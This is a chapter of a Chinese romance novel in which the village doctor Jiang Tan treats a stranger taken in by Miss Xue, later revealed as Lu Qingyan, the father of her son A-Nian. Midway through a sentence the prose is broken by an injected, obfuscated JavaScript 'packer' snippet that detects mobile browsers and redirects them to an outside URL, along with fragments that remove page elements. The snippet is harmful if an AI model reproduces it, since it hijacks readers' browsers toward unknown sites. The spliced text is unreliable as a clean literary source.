是以,姜昙背着药箱进门的时候,门口已经围了一群看热闹的人。 “好看得嘞,像是县里来的人。” “水灵水灵的。” 薛家庄离最近的小镇有二十里路,到县里去就更远了,赶上牛车能走上整整一天。在庄里人的眼中,县里的东西最齐全,县里的人也最体面。 故而姜昙听见第一句时,并不觉得难以理解。 然而这一句“水灵”…… 听说捡的是一个男人,这是形容男人的词语吗? “让一让,姜大夫来啦!” 不知谁嚎了一嗓子,围观的人群中让出一条缝。 待姜昙艰难地挤进去,身后的缝重新合上。 薛小姐从里面出来,一面轰他们:“看什么呢,都散了!否则明年涨租子!” 整个薛家庄的地都姓薛,一听这话,众人撇撇嘴,终于散了。 “这群刁民!” 薛小姐气势汹汹地叉腰,一面请姜昙进去。 那年轻人就躺在床上,被放下来的床帐遮住,只看得清大概的影子。 姜昙正要掀床帐,被薛小姐拦住了。 紧接着,手上递来一条红线。 “这是什么意思?” 薛小姐:“悬丝诊脉。” “……薛小姐,少看些话本。” 或许这年轻人皮相真的不错,薛小姐看他看得极紧。最终还是掀开床帐一角,堪堪露出个手腕,还往上搭了条丝帕。 若不是摸到他的脉象,姜昙险些以为这人是个娇小姐。 诊完脉后,姜昙沉默许久。 薛小姐紧张地问:“怎么,看不了吗?” 姜昙摇头。 相反,这脉象很熟悉。 这病症她以前琢磨过,还琢磨出了一个方子,只是暂时未找人试过,眼下正是好时机。 姜昙将方子写下来,又留下了一些药丸。 薛小姐喜不自胜:“有劳姜大夫了,多亏有你在。等我表兄醒过来,我一定好好谢你。” “表兄?” 姜昙方才分明听到有人说,这是薛小姐路边捡的人。 薛小姐神情不自在:“对啊,就是我表兄,我们正议婚呢。” . 姜昙借用薛家厨房,熬了一个时辰的药。 端着药碗正要送进屋,薛小姐从半路杀出,让丫鬟把药碗接过来。 结果接得太急,碗摔到地上,褐色的药汁腾腾地冒着烟。 薛小姐愣了愣,不好意思地说:”姜大夫,还有吗?” 姜昙深长地叹了口气,将剩余的药递过去,任由她们主仆折腾。 屋门在她眼前被关上,姜昙听到里面薛小姐的轻声细语,沉默转身。 回廊处,阿年藏在柱子后,看了她很久。 姜昙顿了顿,笑着蹲下:“你怎么知道阿娘在这,过来。” 阿年欢快地跑过来,嘴角抿着浅浅的笑意。 姜昙牵着阿年回家:“今日在学堂学了什么?” 在她问出问题之后许久,伴随着咯吱咯吱的踩雪声,断断续续响起背书声:“今有兽,六首四足。禽,四首二足。上有七十六首,下有四十六足……” 姜昙疑惑:“夫子竟会教这么难的算术题?” 薛家庄只有一间草堂搭的私塾,私塾里的先生是一位落第老秀才。 当初姜昙带着束脩去拜访时,这老秀才耷拉的眼睛撑开一条缝,上下打量阿年一眼,愣是不肯收。 后来一场大雨冲塌了私塾的屋顶,老秀才捋着胡须急得挠头。姜昙三两下搭了梯子爬上去,将屋顶修补好,还铺了厚厚一层油纸。 经此一事,这才让老秀才收了阿年。 老秀才思想极其保守,整日摇头晃脑念书吟诗,没想到他还会教算术题。 声音停了好一会儿,阿年说:“八兽,七禽。” 这是在解那道算术题。 姜昙摸摸阿年的脑袋:“学得真好,今晚给你做鱼吃。” . 翌日,送了阿年去私塾回来,姜昙又去了一趟薛家。 奇怪的是,薛家大门紧闭。 敲门许久,终于有一个下人开了一条缝,对姜昙连连摆手:“赶紧走,小姐不让你来。” 这是什么道理? 姜昙说:“昨日我才来你家给人看病,病人还未好呢,离开时薛小姐说要我再来的。” 下人说:“小姐带人去镇上找更好的大夫去了,用最好的药,不用你了。快走!” 门砰地一声被关上。 姜昙心道,好吧,不见就不见吧。 然而午后从另一个庄子看诊回来,家门口堵着先前那个将她拒之门外的下人。 下人讪讪地请她到薛家去。 从这名下人口中得知,薛小姐赶着牛车行了二十里路,从镇东问到镇西,所有的大夫都看不明白这病。 眼看着这人起了高热,最终还是将人带回来。 又回到上次的房间,薛小姐勉强地朝姜昙笑:“镇里的大夫都是庸医,这么简单的一个病症,竟没一个人懂。姜大夫,还是您先前那医治的土办法好使。” 姜昙无言以对。 这次掀开床帐,薛小姐欲言又止,却没再阻拦。 看清躺着的那人,姜昙呼吸一窒。 ……果真是水灵。 她掀开药箱,捻起银针扎了下去,最后一针,落在这人额头。 躺着的人猛然睁开眼睛,直直地看着姜昙。 很快,他又闭上眼睛。 薛小姐挤过来,轻声喊着:“陆公子,陆公子?” 姜昙将银针收回:“一个时辰后,他会醒过来。” 薛小姐一屁股坐在姜昙的位置上,将床帐放下来,一副海枯石烂的神情看着里面的人。 姜昙在门外等了一个时辰。 不多不少的时候,屋里响起惊喜的声音:“陆公子,你醒啦?是我救了你,还治好了你的病。我姓薛,你可以叫我莹娘。” . 姜昙离开京城前,见过太子一面。 当时太子说了什么,姜昙已全然记不清楚,只记得他反复在说东宫以及陆昇有多么多么好。 除此之外,就是他给的赏赐。 姜昙什么也不要,然而临出宫前,还是被塞了一个锦盒。 那里面是丹书铁券。 姜昙从没有见过这种东西,也并不知道它的作用。只依稀记得,这东西似乎能免除罪过,保人一命。 这个东西她留着也是无用,卖了也未必有人敢收。 思来想去,托人秘密带给邓显。 邓显会将这个用到陆青檐身上,是意料之中的事,因为彼时邓显已被放了出来。 为什么要这么做? 姜昙也不明白。 在大理寺的牢狱中,那一刻就像是鬼迷心窍一样,她忽然问出了那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774092|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个问题:“你想去看看吗?” 陆青檐想去哪里,是他的自由,与她无关。 只是可惜,才在薛家庄待了几个月,又得换地方定居了。 . 这一日,私塾开始放假。 快到午饭时间,阿年却没回来。他一向很乖,对时间十分敏感,应不是故意不回。 姜昙于是去找他,却找到了薛家。 陆青檐站在雪里,眼上蒙着三指宽的布巾,正弯腰摸着阿年的眉眼。 “你身上的味道,跟我的似乎一样。” 蒙眼的布巾被药汁浸泡过,阿年每日睡前都会敷一次。用的是同一种药汁,当然是一样的味道。 姜昙心脏砰砰跳动。 这时,薛莹娘牵着儿子急急忙忙走了进来,扬声道:“小哑巴,你娘找你来了!” 平日里这古怪的小孩极少说话,见了人虽然乖巧地低头行礼,但街坊私下里都叫他小哑巴。 一个不注意,薛莹娘竟把背地里的称呼说出来了。 她朝姜昙尴尬地笑了笑:“对不住。” 阿年跑了过来。 薛莹娘瞟了他一眼,将自己的儿子推过去:“去,快去,不要怕!” 薛莹娘是个寡妇,丈夫死后带儿子回了娘家,帮薛员外操持生意。 她的儿子薛子聪是出了名的神童,整个薛家庄无人不夸他的儿子机灵。 姜昙看着薛子聪走到陆青檐面前,乖巧地扑在他的怀里。 阿年的脸上露出落寞的神情。 姜昙将阿年紧紧抱在怀里,转身离开。 巷子里的雪很厚,深一脚浅一脚,越走越慢。 姜昙停了下来。 顿了片刻,她蓦然转身,对阿年说:“我们回去!” 回去,回哪去?不是要回家吗? 然而姜昙走的方向却是薛家,下人们连门都没来得及关,就被一脚踢开。 “姜大夫!” 姜昙的步子迈得极快。 下人一时跟不上她,只能眼睁睁地看她往后院去。 薛莹娘正关门出来,忽然被门外的姜昙一把推进去,门咣地一声撞开。 里面薛子聪正忐忑地面对这个冷冰冰的人,恨不得挖条地道赶紧逃跑。此刻看见他娘进来,获救般地扑过去。 姜昙大步来到陆青檐面前。 此刻他还不知道发生了什么事,只觉得眼前有一道阴影,本能地抬头“看”着来人。 可惜眼上一道布巾,他看不到来人,来人也看不清他的情绪。 怒意上头,催使姜昙冲到这里。 可是来到他面前后,那股冲动过去,姜昙反倒有些退缩的意思了。 她来做什么呢? 她能做什么呢? ——此生此世,我们都不要再见了。 他不想见她。 回头看满眼惊惧的薛小姐,她又做错了什么呢? 她只是喜欢一个人,故而用尽办法争取罢了,这并不违反哪条律法。 薛小姐品貌不错,又救了陆青檐的性命。若是陆青檐喜欢,落花流水互相有意,是一桩美满的好姻缘。 总归与她无关。 姜昙将阿年推到了陆青檐怀里。 ——我死后,你会带他来看我吗? 会的。 阿年也需要他的阿爹。 就这么气势汹汹而来,最终灰溜溜地离去。 姜昙走在巷子里,觉得薛家庄的雪天真是冷极了。 若是下一次换地方,她要到最温暖的南边去,离这里远远的。